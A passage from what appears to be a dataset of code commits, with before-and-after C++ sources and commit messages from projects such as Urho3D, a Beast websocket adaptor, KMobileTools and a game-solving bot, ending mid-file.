\";..\/share\/Resources;..\/share\/Urho3D\/Resources\";\r\n}\r\n\r\nvoid Urho3DPlayer::Start()\r\n{\r\n    \/\/ Reattempt reading the command line now on Web platform\r\n#ifdef __EMSCRIPTEN__\r\n    if (GetArguments().Empty())\r\n    {\r\n        SharedPtr<File> commandFile = GetSubsystem<ResourceCache>()->GetFile(\"CommandLine.txt\", false);\r\n        if (commandFile)\r\n        {\r\n            String commandLine = commandFile->ReadLine();\r\n            commandFile->Close();\r\n            ParseArguments(commandLine, false);\r\n        }\r\n    }\r\n\r\n    GetScriptFileName();\r\n\r\n    if (scriptFileName_.Empty())\r\n    {\r\n        ErrorExit(\"Script file name not specified; cannot proceed\");\r\n        return;\r\n    }\r\n#endif\r\n\r\n    String extension = GetExtension(scriptFileName_);\r\n    if (extension != \".lua\" && extension != \".luc\")\r\n    {\r\n#ifdef URHO3D_ANGELSCRIPT\r\n        \/\/ Instantiate and register the AngelScript subsystem\r\n        context_->RegisterSubsystem(new Script(context_));\r\n\r\n        \/\/ Hold a shared pointer to the script file to make sure it is not unloaded during runtime\r\n        scriptFile_ = GetSubsystem<ResourceCache>()->GetResource<ScriptFile>(scriptFileName_);\r\n\r\n        \/\/\/ \\hack If we are running the editor, also instantiate Lua subsystem to enable editing Lua ScriptInstances\r\n#ifdef URHO3D_LUA\r\n        if (scriptFileName_.Contains(\"Editor.as\", false))\r\n            context_->RegisterSubsystem(new LuaScript(context_));\r\n#endif\r\n        \/\/ If script loading is successful, proceed to main loop\r\n        if (scriptFile_ && scriptFile_->Execute(\"void Start()\"))\r\n        {\r\n            \/\/ Subscribe to script's reload event to allow live-reload of the application\r\n            SubscribeToEvent(scriptFile_, E_RELOADSTARTED, URHO3D_HANDLER(Urho3DPlayer, HandleScriptReloadStarted));\r\n            SubscribeToEvent(scriptFile_, E_RELOADFINISHED, URHO3D_HANDLER(Urho3DPlayer, HandleScriptReloadFinished));\r\n            SubscribeToEvent(scriptFile_, E_RELOADFAILED, URHO3D_HANDLER(Urho3DPlayer, HandleScriptReloadFailed));\r\n            return;\r\n        }\r\n#else\r\n        ErrorExit(\"AngelScript is not enabled!\");\r\n        return;\r\n#endif\r\n    }\r\n    else\r\n    {\r\n#ifdef URHO3D_LUA\r\n        \/\/ Instantiate and register the Lua script subsystem\r\n        LuaScript* luaScript = new LuaScript(context_);\r\n        context_->RegisterSubsystem(luaScript);\r\n\r\n        \/\/ If script loading is successful, proceed to main loop\r\n        if (luaScript->ExecuteFile(scriptFileName_))\r\n        {\r\n            luaScript->ExecuteFunction(\"Start\");\r\n            return;\r\n        }\r\n#else\r\n        ErrorExit(\"Lua is not enabled!\");\r\n        return;\r\n#endif\r\n    }\r\n\r\n    \/\/ The script was not successfully loaded. Show the last error message and do not run the main loop\r\n    ErrorExit();\r\n}\r\n\r\nvoid Urho3DPlayer::Stop()\r\n{\r\n#ifdef URHO3D_ANGELSCRIPT\r\n    if (scriptFile_)\r\n    {\r\n        \/\/ Execute the optional stop function\r\n        if (scriptFile_->GetFunction(\"void Stop()\"))\r\n            scriptFile_->Execute(\"void Stop()\");\r\n    }\r\n#else\r\n    if (false)\r\n    {\r\n    }\r\n#endif\r\n\r\n#ifdef URHO3D_LUA\r\n    else\r\n    {\r\n        LuaScript* luaScript = GetSubsystem<LuaScript>();\r\n        if (luaScript && luaScript->GetFunction(\"Stop\", true))\r\n            luaScript->ExecuteFunction(\"Stop\");\r\n    }\r\n#endif\r\n}\r\n\r\nvoid Urho3DPlayer::HandleScriptReloadStarted(StringHash eventType, VariantMap& eventData)\r\n{\r\n#ifdef URHO3D_ANGELSCRIPT\r\n    if (scriptFile_->GetFunction(\"void Stop()\"))\r\n        scriptFile_->Execute(\"void Stop()\");\r\n#endif\r\n}\r\n\r\nvoid Urho3DPlayer::HandleScriptReloadFinished(StringHash eventType, VariantMap& eventData)\r\n{\r\n#ifdef URHO3D_ANGELSCRIPT\r\n    \/\/ Restart the script application after reload\r\n    if (!scriptFile_->Execute(\"void Start()\"))\r\n    {\r\n        scriptFile_.Reset();\r\n        ErrorExit();\r\n    }\r\n#endif\r\n}\r\n\r\nvoid Urho3DPlayer::HandleScriptReloadFailed(StringHash eventType, VariantMap& eventData)\r\n{\r\n#ifdef URHO3D_ANGELSCRIPT\r\n    scriptFile_.Reset();\r\n    ErrorExit();\r\n#endif\r\n}\r\n\r\nvoid Urho3DPlayer::GetScriptFileName()\r\n{\r\n    const Vector<String>& arguments = GetArguments();\r\n    if (arguments.Size() && arguments[0][0] != '-')\r\n        scriptFileName_ = GetInternalPath(arguments[0]);\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>coverity#708606 Uninitialized scalar field<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>fdo#74702 update bad advise in comment in DrawTransparentNatively()<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>VCL: Remove unnecessary headers from outdev\/text.cxx<commit_after><|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#ifdef _MSC_VER\n#pragma warning(push)\n#pragma warning(disable : 4100 4701 4127 4706 4267 4324)\n#endif\n#include <beast\/websocket.hpp>\n#ifdef _MSC_VER\n#pragma warning(pop)\n#endif\n\n#include <silicium\/config.hpp>\n\nnamespace warpcoil\n{\n    namespace beast\n    {\n        enum class websocket_error\n        {\n            close,\n            unexpected_opcode\n        };\n\n        struct websocket_error_category : boost::system::error_category\n        {\n            virtual const char *name() const BOOST_SYSTEM_NOEXCEPT override\n            {\n                return \"websocket_error\";\n            }\n\n            virtual std::string message(int ev) const override\n            {\n                switch (static_cast<websocket_error>(ev))\n                {\n                case websocket_error::close:\n                    return \"close\";\n                case websocket_error::unexpected_opcode:\n                    return \"unexpected_opcode\";\n                }\n                SILICIUM_UNREACHABLE();\n            }\n        };\n\n        inline boost::system::error_code make_error_code(websocket_error error)\n        {\n            static websocket_error_category const category;\n            return boost::system::error_code(static_cast<int>(error), category);\n        }\n\n        template <class WebsocketStream>\n        struct async_stream_adaptor\n        {\n            template <class... Args>\n            explicit async_stream_adaptor(Args &&... args)\n                : m_websocket(std::forward<Args>(args)...)\n            {\n            }\n\n            WebsocketStream &next_layer()\n            {\n                return m_websocket;\n            }\n\n            WebsocketStream const &next_layer() const\n            {\n                return m_websocket;\n            }\n\n            template <class MutableBufferSequence, class CompletionToken>\n            auto async_read_some(MutableBufferSequence buffers, CompletionToken &&token)\n            {\n                ::beast::async_completion<CompletionToken, void(boost::system::error_code, std::size_t)> completion(\n                    token);\n                std::size_t const read = read_from_receive_buffer(buffers);\n                if (read)\n                {\n                    std::move(completion.handler)(boost::system::error_code(), read);\n                }\n                else\n                {\n                    m_websocket.async_read(\n                        m_receivedOpcode, m_receiveBuffer,\n                        [ this, buffers, handler = std::move(completion.handler) ](boost::system::error_code ec) mutable\n                        {\n                            if (!!ec)\n                            {\n                                std::move(handler)(ec, 0);\n                                return;\n                            }\n                            switch (m_receivedOpcode)\n                            {\n                            case ::beast::websocket::opcode::binary:\n                            case ::beast::websocket::opcode::text:\n                                std::move(handler)(ec, read_from_receive_buffer(buffers));\n                                break;\n\n                            case ::beast::websocket::opcode::close:\n                                std::move(handler)(websocket_error::close, 0);\n                                break;\n\n                            case ::beast::websocket::opcode::cont:\n                            case ::beast::websocket::opcode::rsv3:\n                            case ::beast::websocket::opcode::rsv4:\n                            case ::beast::websocket::opcode::rsv5:\n                            case ::beast::websocket::opcode::rsv6:\n                            case ::beast::websocket::opcode::rsv7:\n                            case ::beast::websocket::opcode::ping:\n                            case ::beast::websocket::opcode::pong:\n                            case ::beast::websocket::opcode::crsvb:\n                            case ::beast::websocket::opcode::crsvc:\n                            case ::beast::websocket::opcode::crsvd:\n                            case ::beast::websocket::opcode::crsve:\n                            case ::beast::websocket::opcode::crsvf:\n                                std::move(handler)(websocket_error::unexpected_opcode, 0);\n                                break;\n                            }\n                        });\n                }\n                return completion.result.get();\n            }\n\n            template <class ConstBufferSequence, class CompletionToken>\n            auto async_write_some(ConstBufferSequence buffers, CompletionToken &&token)\n            {\n                ::beast::async_completion<CompletionToken, void(boost::system::error_code, std::size_t)> completion(\n                    token);\n                std::size_t const size = boost::asio::buffer_size(buffers);\n                m_websocket.async_write(\n                    buffers, [ handler = std::move(completion.handler), size ](boost::system::error_code ec) mutable\n                    {\n                        std::move(handler)(ec, ec ? 0 : size);\n                    });\n                return completion.result.get();\n            }\n\n        private:\n            WebsocketStream m_websocket;\n            ::beast::websocket::opcode m_receivedOpcode;\n            ::beast::streambuf m_receiveBuffer;\n\n            template <class MutableBufferSequence>\n            std::size_t read_from_receive_buffer(MutableBufferSequence buffers)\n            {\n                std::size_t const copied = boost::asio::buffer_copy(buffers, m_receiveBuffer.data());\n                m_receiveBuffer.consume(copied);\n                return copied;\n            }\n        };\n    }\n}\n\nnamespace boost\n{\n    namespace system\n    {\n        template <>\n        struct is_error_code_enum<warpcoil::beast::websocket_error> : std::true_type\n        {\n        };\n    }\n}\n<commit_msg>invoke handlers correctly in async_write_some in the websocket adapter<commit_after>#pragma once\n\n#ifdef _MSC_VER\n#pragma warning(push)\n#pragma warning(disable : 4100 4701 4127 4706 4267 4324)\n#endif\n#include <beast\/websocket.hpp>\n#ifdef _MSC_VER\n#pragma warning(pop)\n#endif\n\n#include <silicium\/config.hpp>\n\nnamespace warpcoil\n{\n    namespace beast\n    {\n        enum class websocket_error\n        {\n            close,\n            unexpected_opcode\n        };\n\n        struct websocket_error_category : boost::system::error_category\n        {\n            virtual const char *name() const BOOST_SYSTEM_NOEXCEPT override\n            {\n                return \"websocket_error\";\n            }\n\n            virtual std::string message(int ev) const override\n            {\n                switch (static_cast<websocket_error>(ev))\n                {\n                case websocket_error::close:\n                    return \"close\";\n                case websocket_error::unexpected_opcode:\n                    return \"unexpected_opcode\";\n                }\n                SILICIUM_UNREACHABLE();\n            }\n        };\n\n        inline boost::system::error_code make_error_code(websocket_error error)\n        {\n            static websocket_error_category const category;\n            return boost::system::error_code(static_cast<int>(error), category);\n        }\n\n        template <class WebsocketStream>\n        struct async_stream_adaptor\n        {\n            template <class... Args>\n            explicit async_stream_adaptor(Args &&... args)\n                : m_websocket(std::forward<Args>(args)...)\n            {\n            }\n\n            WebsocketStream &next_layer()\n            {\n                return m_websocket;\n            }\n\n            WebsocketStream const &next_layer() const\n            {\n                return m_websocket;\n            }\n\n            template <class MutableBufferSequence, class CompletionToken>\n            auto async_read_some(MutableBufferSequence buffers, CompletionToken &&token)\n            {\n                ::beast::async_completion<CompletionToken, void(boost::system::error_code, std::size_t)> completion(\n                    token);\n                std::size_t const read = read_from_receive_buffer(buffers);\n                if (read)\n                {\n                    std::move(completion.handler)(boost::system::error_code(), read);\n                }\n                else\n                {\n                    m_websocket.async_read(\n                        m_receivedOpcode, m_receiveBuffer,\n                        [ this, buffers, handler = std::move(completion.handler) ](boost::system::error_code ec) mutable\n                        {\n                            if (!!ec)\n                            {\n                                std::move(handler)(ec, 0);\n                                return;\n                            }\n                            switch (m_receivedOpcode)\n                            {\n                            case ::beast::websocket::opcode::binary:\n                            case ::beast::websocket::opcode::text:\n                                std::move(handler)(ec, read_from_receive_buffer(buffers));\n                                break;\n\n                            case ::beast::websocket::opcode::close:\n                                std::move(handler)(websocket_error::close, 0);\n                                break;\n\n                            case ::beast::websocket::opcode::cont:\n                            case ::beast::websocket::opcode::rsv3:\n                            case ::beast::websocket::opcode::rsv4:\n                            case ::beast::websocket::opcode::rsv5:\n                            case ::beast::websocket::opcode::rsv6:\n                            case ::beast::websocket::opcode::rsv7:\n                            case ::beast::websocket::opcode::ping:\n                            case ::beast::websocket::opcode::pong:\n                            case ::beast::websocket::opcode::crsvb:\n                            case ::beast::websocket::opcode::crsvc:\n                            case ::beast::websocket::opcode::crsvd:\n                            case ::beast::websocket::opcode::crsve:\n                            case ::beast::websocket::opcode::crsvf:\n                                std::move(handler)(websocket_error::unexpected_opcode, 0);\n                                break;\n                            }\n                        });\n                }\n                return completion.result.get();\n            }\n\n            template <class ConstBufferSequence, class CompletionToken>\n            auto async_write_some(ConstBufferSequence buffers, CompletionToken &&token)\n            {\n                ::beast::async_completion<CompletionToken, void(boost::system::error_code, std::size_t)> completion(\n                    token);\n                std::size_t const size = boost::asio::buffer_size(buffers);\n                m_websocket.async_write(\n                    buffers, write_operation<decltype(completion.handler)>(std::move(completion.handler), size));\n                return completion.result.get();\n            }\n\n        private:\n            WebsocketStream m_websocket;\n            ::beast::websocket::opcode m_receivedOpcode;\n            ::beast::streambuf m_receiveBuffer;\n\n            template <class Handler>\n            struct write_operation\n            {\n                Handler handler;\n                std::size_t bytes_transferred;\n\n                explicit write_operation(Handler handler, std::size_t bytes_transferred)\n                    : handler(std::move(handler))\n                    , bytes_transferred(bytes_transferred)\n                {\n                }\n\n                void operator()(boost::system::error_code ec)\n                {\n                    handler(ec, ec ? 0 : bytes_transferred);\n                }\n\n                template <class Function>\n                friend void asio_handler_invoke(Function &&f, write_operation *operation)\n                {\n                    using boost::asio::asio_handler_invoke;\n                    asio_handler_invoke(f, &operation->handler);\n                }\n            };\n\n            template <class MutableBufferSequence>\n            std::size_t read_from_receive_buffer(MutableBufferSequence buffers)\n            {\n                std::size_t const copied = boost::asio::buffer_copy(buffers, m_receiveBuffer.data());\n                m_receiveBuffer.consume(copied);\n                return copied;\n            }\n        };\n    }\n}\n\nnamespace boost\n{\n    namespace system\n    {\n        template <>\n        struct is_error_code_enum<warpcoil::beast::websocket_error> : std::true_type\n        {\n        };\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/***************************************************************************\n   Copyright (C) 2007\n   by Marco Gulino <marco@kmobiletools.org>\n\n\n   This program is free software; you can redistribute it and\/or modify\n   it under the terms of the GNU General Public License as published by\n   the Free Software Foundation; either version 2 of the License, or\n   (at your option) any later version.\n\n\n   This program is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n   GNU General Public License for more details.\n\n\n   You should have received a copy of the GNU General Public License\n   along with this program; if not, write to the\n   Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n   Boston, MA 02110-1301, USA.\n ***************************************************************************\/\n#include \"enginedata.h\"\n\n#include \"engine.h\"\n#include \"smslist.h\"\n#include \"contactslist.h\"\n#include <kabc\/addressee.h>\n\nusing namespace KMobileTools;\n\nclass EngineDataPrivate {\n    public:\n        EngineDataPrivate() : engine(NULL), i_manufacturer(KMobileTools::Engine::Unknown) {}\n        KMobileTools::Engine *engine;\n        bool b_connected;                           \/\/ phone connected?\n        int i_signalStrength;                       \/\/ signal strength in percent\n        int i_charge;                               \/\/ charge in percent\n        EngineData::ChargeType m_chargeType;        \/\/ charge type\n        bool b_ringing;                             \/\/ phone is ringing?\n        QString s_networkName;                      \/\/ network name\n        QString s_manufacturer;                     \/\/ manufacturer raw string\n        int i_manufacturer;                         \/\/ enum value?\n        QString s_model;                            \/\/ phone model\n        QString s_imei;                             \/\/ phone imei code\n        QString s_smscenter;                        \/\/ SMS Center number\n        QString s_revision;                         \/\/ Firmware revision\n        KCal::Event::List *p_calendar;              \/\/ Internal Calendar Events List\n        ContactsList* p_addresseeList;              \/\/ Phonebook Contacts List\n        SMSList *p_smsList;                         \/\/ List of SMS fetched from the phone\n};\n\nEngineData::EngineData(KMobileTools::Engine *parentEngine)\n    : QObject(parentEngine), d(new EngineDataPrivate)\n{\n    d->engine=parentEngine;\n    if(d->engine)\n        d->p_smsList=new SMSList(d->engine->objectName() );\n    d->p_addresseeList = new ContactsList();\n    d->p_calendar=new KCal::Event::List();\n\n    connect( d->p_smsList, SIGNAL( added( const QByteArray& ) ), SIGNAL( smsAdded( const QByteArray& ) ) );\n    connect( d->p_smsList, SIGNAL( removed( const QByteArray& ) ), SIGNAL( smsDeleted( const QByteArray& ) ) ); \n    connect( d->p_smsList, SIGNAL( modified( const QByteArray& ) ), SIGNAL( smsModified( const QByteArray& ) ) );\n\n}\n\nEngineData::~EngineData()\n{\n    delete d->p_smsList;\n    delete d->p_calendar;\n    delete d->p_addresseeList;\n    delete d;\n}\n\n\/\/KMobileTools::Engine *EngineData::engine() { return d->engine; }\n\n#include \"enginedata.moc\"\n\nQString EngineData::manufacturer() const { return d->s_manufacturer;}\nvoid EngineData::setManufacturer(const QString &s) { d->s_manufacturer=s;}\n\nvoid EngineData::setManufacturerID(int i) { d->i_manufacturer=i; }\nint EngineData::manufacturerID() const { return d->i_manufacturer; }\n\nvoid EngineData::setModel(const QString &s) { d->s_model=s;}\nQString EngineData::model() const { return d->s_model; }\n\nvoid EngineData::setIMEI(const QString &s) { d->s_imei=s;}\nQString EngineData::imei() const { return d->s_imei; }\n\nvoid EngineData::setSMSCenter(const QString &s) { d->s_smscenter=s;}\nQString EngineData::smsCenter() const { return d->s_smscenter;}\n\nvoid EngineData::setRevision(const QString &s) { d->s_revision=s;}\nQString EngineData::revision() const { return d->s_revision; }\n\nKCal::Event::List *EngineData::calendar() { return d->p_calendar; }\n\nconst SMSList* EngineData::constSMSList() const {\n    return d->p_smsList;\n}\n\nSMSList* EngineData::smsList() const {\n    return d->p_smsList;\n}\n\nContactsList *EngineData::contactsList() const { return d->p_addresseeList; }\n\nvoid EngineData::setContactsList( ContactsList* cl ) {\n    if( cl != d->p_addresseeList )\n        emit phoneBookChanged();\n\n    d->p_addresseeList=cl;\n}\n\nvoid EngineData::setPhoneConnected( bool b ) {\n    \/\/ did the connection state change?\n    if( d->b_connected != b ) {\n        if( b )\n            emit connected();\n        else\n            emit disconnected();\n    }\n\n    d->b_connected=b;\n}\nbool EngineData::phoneConnected() const {\n    return d->b_connected;\n}\n\nint EngineData::signalStrength() const {\n    return d->i_signalStrength;\n}\n\nvoid EngineData::setSignalStrength( int signalStrength ) {\n    if( signalStrength != d->i_signalStrength )\n        emit signalStrengthChanged( signalStrength );\n\n    d->i_signalStrength = signalStrength;\n}\n\nint EngineData::charge() const {\n    return d->i_charge;\n}\n\nvoid EngineData::setCharge( int charge ) {\n    if( charge != d->i_charge )\n        emit chargeChanged( charge );\n\n    d->i_charge = charge;\n}\n\nint EngineData::chargeType() const {\n    return d->m_chargeType;\n}\n\nvoid EngineData::setChargeType( ChargeType chargeType ) {\n    if( chargeType != d->m_chargeType )\n        emit chargeTypeChanged( chargeType );\n\n    d->m_chargeType = chargeType;\n}\n\nbool EngineData::phoneRinging() const {\n    return d->b_ringing;\n}\n\nvoid EngineData::setPhoneRinging( bool ringing ) {\n    if( ringing != d->b_ringing )\n        emit EngineData::ringing( ringing );\n\n    d->b_ringing = ringing;\n}\n\nQString EngineData::networkName() const {\n    return d->s_networkName;\n}\n\nvoid EngineData::setNetworkName( const QString& networkName ) {\n    if( networkName != d->s_networkName )\n        emit networkNameChanged( networkName );\n\n    d->s_networkName = networkName;\n}\n<commit_msg>comparing pointers doesn't make sense here ;)<commit_after>\/***************************************************************************\n   Copyright (C) 2007\n   by Marco Gulino <marco@kmobiletools.org>\n\n\n   This program is free software; you can redistribute it and\/or modify\n   it under the terms of the GNU General Public License as published by\n   the Free Software Foundation; either version 2 of the License, or\n   (at your option) any later version.\n\n\n   This program is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n   GNU General Public License for more details.\n\n\n   You should have received a copy of the GNU General Public License\n   along with this program; if not, write to the\n   Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n   Boston, MA 02110-1301, USA.\n ***************************************************************************\/\n#include \"enginedata.h\"\n\n#include \"engine.h\"\n#include \"smslist.h\"\n#include \"contactslist.h\"\n#include <kabc\/addressee.h>\n\nusing namespace KMobileTools;\n\nclass EngineDataPrivate {\n    public:\n        EngineDataPrivate() : engine(NULL), i_manufacturer(KMobileTools::Engine::Unknown) {}\n        KMobileTools::Engine *engine;\n        bool b_connected;                           \/\/ phone connected?\n        int i_signalStrength;                       \/\/ signal strength in percent\n        int i_charge;                               \/\/ charge in percent\n        EngineData::ChargeType m_chargeType;        \/\/ charge type\n        bool b_ringing;                             \/\/ phone is ringing?\n        QString s_networkName;                      \/\/ network name\n        QString s_manufacturer;                     \/\/ manufacturer raw string\n        int i_manufacturer;                         \/\/ enum value?\n        QString s_model;                            \/\/ phone model\n        QString s_imei;                             \/\/ phone imei code\n        QString s_smscenter;                        \/\/ SMS Center number\n        QString s_revision;                         \/\/ Firmware revision\n        KCal::Event::List *p_calendar;              \/\/ Internal Calendar Events List\n        ContactsList* p_addresseeList;              \/\/ Phonebook Contacts List\n        SMSList *p_smsList;                         \/\/ List of SMS fetched from the phone\n};\n\nEngineData::EngineData(KMobileTools::Engine *parentEngine)\n    : QObject(parentEngine), d(new EngineDataPrivate)\n{\n    d->engine=parentEngine;\n    if(d->engine)\n        d->p_smsList=new SMSList(d->engine->objectName() );\n    d->p_addresseeList = new ContactsList();\n    d->p_calendar=new KCal::Event::List();\n\n    connect( d->p_smsList, SIGNAL( added( const QByteArray& ) ), SIGNAL( smsAdded( const QByteArray& ) ) );\n    connect( d->p_smsList, SIGNAL( removed( const QByteArray& ) ), SIGNAL( smsDeleted( const QByteArray& ) ) ); \n    connect( d->p_smsList, SIGNAL( modified( const QByteArray& ) ), SIGNAL( smsModified( const QByteArray& ) ) );\n\n}\n\nEngineData::~EngineData()\n{\n    delete d->p_smsList;\n    delete d->p_calendar;\n    delete d->p_addresseeList;\n    delete d;\n}\n\n\/\/KMobileTools::Engine *EngineData::engine() { return d->engine; }\n\n#include \"enginedata.moc\"\n\nQString EngineData::manufacturer() const { return d->s_manufacturer;}\nvoid EngineData::setManufacturer(const QString &s) { d->s_manufacturer=s;}\n\nvoid EngineData::setManufacturerID(int i) { d->i_manufacturer=i; }\nint EngineData::manufacturerID() const { return d->i_manufacturer; }\n\nvoid EngineData::setModel(const QString &s) { d->s_model=s;}\nQString EngineData::model() const { return d->s_model; }\n\nvoid EngineData::setIMEI(const QString &s) { d->s_imei=s;}\nQString EngineData::imei() const { return d->s_imei; }\n\nvoid EngineData::setSMSCenter(const QString &s) { d->s_smscenter=s;}\nQString EngineData::smsCenter() const { return d->s_smscenter;}\n\nvoid EngineData::setRevision(const QString &s) { d->s_revision=s;}\nQString EngineData::revision() const { return d->s_revision; }\n\nKCal::Event::List *EngineData::calendar() { return d->p_calendar; }\n\nconst SMSList* EngineData::constSMSList() const {\n    return d->p_smsList;\n}\n\nSMSList* EngineData::smsList() const {\n    return d->p_smsList;\n}\n\nContactsList *EngineData::contactsList() const { return d->p_addresseeList; }\n\nvoid EngineData::setContactsList( ContactsList* cl ) {\n    emit phoneBookChanged();\n    d->p_addresseeList=cl;\n}\n\nvoid EngineData::setPhoneConnected( bool b ) {\n    \/\/ did the connection state change?\n    if( d->b_connected != b ) {\n        if( b )\n            emit connected();\n        else\n            emit disconnected();\n    }\n\n    d->b_connected=b;\n}\nbool EngineData::phoneConnected() const {\n    return d->b_connected;\n}\n\nint EngineData::signalStrength() const {\n    return d->i_signalStrength;\n}\n\nvoid EngineData::setSignalStrength( int signalStrength ) {\n    if( signalStrength != d->i_signalStrength )\n        emit signalStrengthChanged( signalStrength );\n\n    d->i_signalStrength = signalStrength;\n}\n\nint EngineData::charge() const {\n    return d->i_charge;\n}\n\nvoid EngineData::setCharge( int charge ) {\n    if( charge != d->i_charge )\n        emit chargeChanged( charge );\n\n    d->i_charge = charge;\n}\n\nint EngineData::chargeType() const {\n    return d->m_chargeType;\n}\n\nvoid EngineData::setChargeType( ChargeType chargeType ) {\n    if( chargeType != d->m_chargeType )\n        emit chargeTypeChanged( chargeType );\n\n    d->m_chargeType = chargeType;\n}\n\nbool EngineData::phoneRinging() const {\n    return d->b_ringing;\n}\n\nvoid EngineData::setPhoneRinging( bool ringing ) {\n    if( ringing != d->b_ringing )\n        emit EngineData::ringing( ringing );\n\n    d->b_ringing = ringing;\n}\n\nQString EngineData::networkName() const {\n    return d->s_networkName;\n}\n\nvoid EngineData::setNetworkName( const QString& networkName ) {\n    if( networkName != d->s_networkName )\n        emit networkNameChanged( networkName );\n\n    d->s_networkName = networkName;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <fstream>\n#include <iostream>\n#include <string>\n\nusing std::cin;\nusing std::cout;\nusing std::endl;\nusing std::string;\n\n#include \"eval_state.h\"\n#include \"game_state.h\"\n\nstatic const string type_names[] = {\"Prep\", \"Catch\", \"Pierce\", \"Aura\"};\n\nvoid printState(const struct game_state &state) {\n  cout << \"Player 1\" << endl;\n  cout << \"HP: \" << static_cast<int>(state.p1.hp) << endl;\n  cout << \"Ammo: \" << static_cast<int>(state.p1.bullets) << endl;\n  cout << \"Fatigue: \" << static_cast<int>(state.p1.fatigue) << endl;\n  cout << \"Power: \" << type_names[state.p1.type] << endl << endl;\n\n  cout << \"Player 2\" << endl;\n  cout << \"HP: \" << static_cast<int>(state.p2.hp) << endl;\n  cout << \"Ammo: \" << static_cast<int>(state.p2.bullets) << endl;\n  cout << \"Fatigue: \" << static_cast<int>(state.p2.fatigue) << endl;\n  cout << \"Power: \" << type_names[state.p2.type] << endl << endl;\n\n  cout << \"Round \" << static_cast<int>(state.round) << endl;\n}\n\n\/\/ MoonBurst is a lazy pony\nstatic void moonburst_loop() {\n  for (;;) {\n    string s, p1power, p2power;\n    int p1hp, p1ammo, p1fat, p2hp, p2ammo, p2fat, round;\n    do {\n      cin >> s;\n    } while (s != \"HP:\" && cin);\n    cin >> p1hp >> s >> p1ammo >> s >> p1fat >> p1power;\n    if (p1power == \"Power:\") {\n      cin >> p1power;\n    }\n    do {\n      cin >> s;\n    } while (s != \"HP:\" && cin);\n    cin >> p2hp >> s >> p2ammo >> s >> p2fat >> p2power;\n    if (p2power == \"Power:\") {\n      cin >> p2power;\n    }\n    cin >> s >> round;\n    if (!cin) {\n      if (cin.eof())\n        return;\n      std::cerr << \"NO U\" << endl;\n      cin.clear();\n      continue;\n    }\n    struct game_state state1;\n    state1.p1.hp = p1hp; state1.p1.bullets = p1ammo; state1.p1.fatigue = p1fat;\n    state1.p2.hp = p2hp; state1.p2.bullets = p2ammo; state1.p2.fatigue = p2fat;\n    if (p1power.find(\"Prep\") != string::npos) {\n      state1.p1.type = PREPARATION;\n    } else if (p1power.find(\"Pierce\") != string::npos) {\n      state1.p1.type = PIERCE;\n    } else if (p1power.find(\"Catch\") != string::npos) {\n      state1.p1.type = CATCH;\n    } else if (p1power.find(\"Aura\") != string::npos) {\n      state1.p1.type = AURA;\n    } else {\n      std::cerr << \"Invalid power for player 1\" << endl;\n    }\n    if (p2power.find(\"Prep\") != string::npos) {\n      state1.p2.type = PREPARATION;\n    } else if (p2power.find(\"Pierce\") != string::npos) {\n      state1.p2.type = PIERCE;\n    } else if (p2power.find(\"Catch\") != string::npos) {\n      state1.p2.type = CATCH;\n    } else if (p2power.find(\"Aura\") != string::npos) {\n      state1.p2.type = AURA;\n    } else {\n      std::cerr << \"Invalid power for player 2\" << endl;\n    }\n    state1.round = round;\n    get_doubletime_strat(state1);\n  }\n}\n\n\/\/ legacy code - takes states in the old format\nstatic void solve_loop() {\n  \/\/ Takes input from cin\n  string argv[10];  \/\/ this array is named argv because I'm lazy\n  while (true) {\n    cout << \"Input position:\" << endl;\n    cin >> argv[1] >> argv[2] >> argv[3] >> argv[4];\n    cin >> argv[5] >> argv[6] >> argv[7] >> argv[8];\n    cin >> argv[9];\n    if (!cin) {\n      if (cin.eof())\n        return;  \/\/ who cares what happened\n      std::cerr << \"Invalid position\" << endl;\n      cin.clear();\n      continue;\n    }\n    struct game_state state1;\n    state1.p1.hp = stoi(argv[1]);\n    state1.p1.bullets = stoi(argv[2]);\n    state1.p1.fatigue = stoi(argv[3]);\n    if (argv[4] == \"prep\") {\n      state1.p1.type = PREPARATION;\n    } else if (argv[4] == \"catch\") {\n      state1.p1.type = CATCH;\n    } else if (argv[4] == \"pierce\") {\n      state1.p1.type = PIERCE;\n    } else if (argv[4] == \"aura\") {\n      state1.p1.type = AURA;\n    } else {\n      std::cerr << \"Invalid power for player 1\" << endl;\n      continue;\n    }\n\n    state1.p2.hp = stoi(argv[5]);\n    state1.p2.bullets = stoi(argv[6]);\n    state1.p2.fatigue = stoi(argv[7]);\n    if (argv[8] == \"prep\") {\n      state1.p2.type = PREPARATION;\n    } else if (argv[8] == \"catch\") {\n      state1.p2.type = CATCH;\n    } else if (argv[8] == \"pierce\") {\n      state1.p2.type = PIERCE;\n    } else if (argv[8] == \"aura\") {\n      state1.p2.type = AURA;\n    } else {\n      std::cerr << \"Invalid power for player 2\" << endl;\n      continue;\n    }\n    state1.round = stoi(argv[9]);\n    cout << endl << \"Solving position (with doubletimes):\" << endl;\n    printState(state1);\n    get_doubletime_strat(state1);\n  }\n}\n\nint main() {\n  cout << \"N1 bot: ver 0.2.1\" << endl;\n  cout << \"Copy the match information from the N1 page (N1 Enhancer script\"\n          \" compatible)\" << endl;\n\n  std::ifstream data_file(\"n1bot_data.bin\", std::ios::in | std::ios::binary);\n  if (!data_file) {\n    cout << \"Data file not found, generating...\" << endl;\n    dout.reset(new std::ofstream(\"n1bot_data.bin\",\n                                 std::ios::out | std::ios::binary));\n    int type1, type2;\n    for (type1 = 0; type1 < 4; ++type1) {\n      for (type2 = 0; type2 < 4; ++type2) {\n        struct game_state state1 = new_game(type1, type2);\n        double winChance = eval_state(state1);\n        cout << type_names[type1] << \" v \" << type_names[type2] << '\\t'\n             << winChance << endl;\n      }\n    }\n    dout.reset();\n  } else {\n    \/\/ Read from data file\n    int nstates;\n    union {\n      int state;\n      char state_[sizeof(state)];\n    };\n    union {\n      double winchance;\n      char 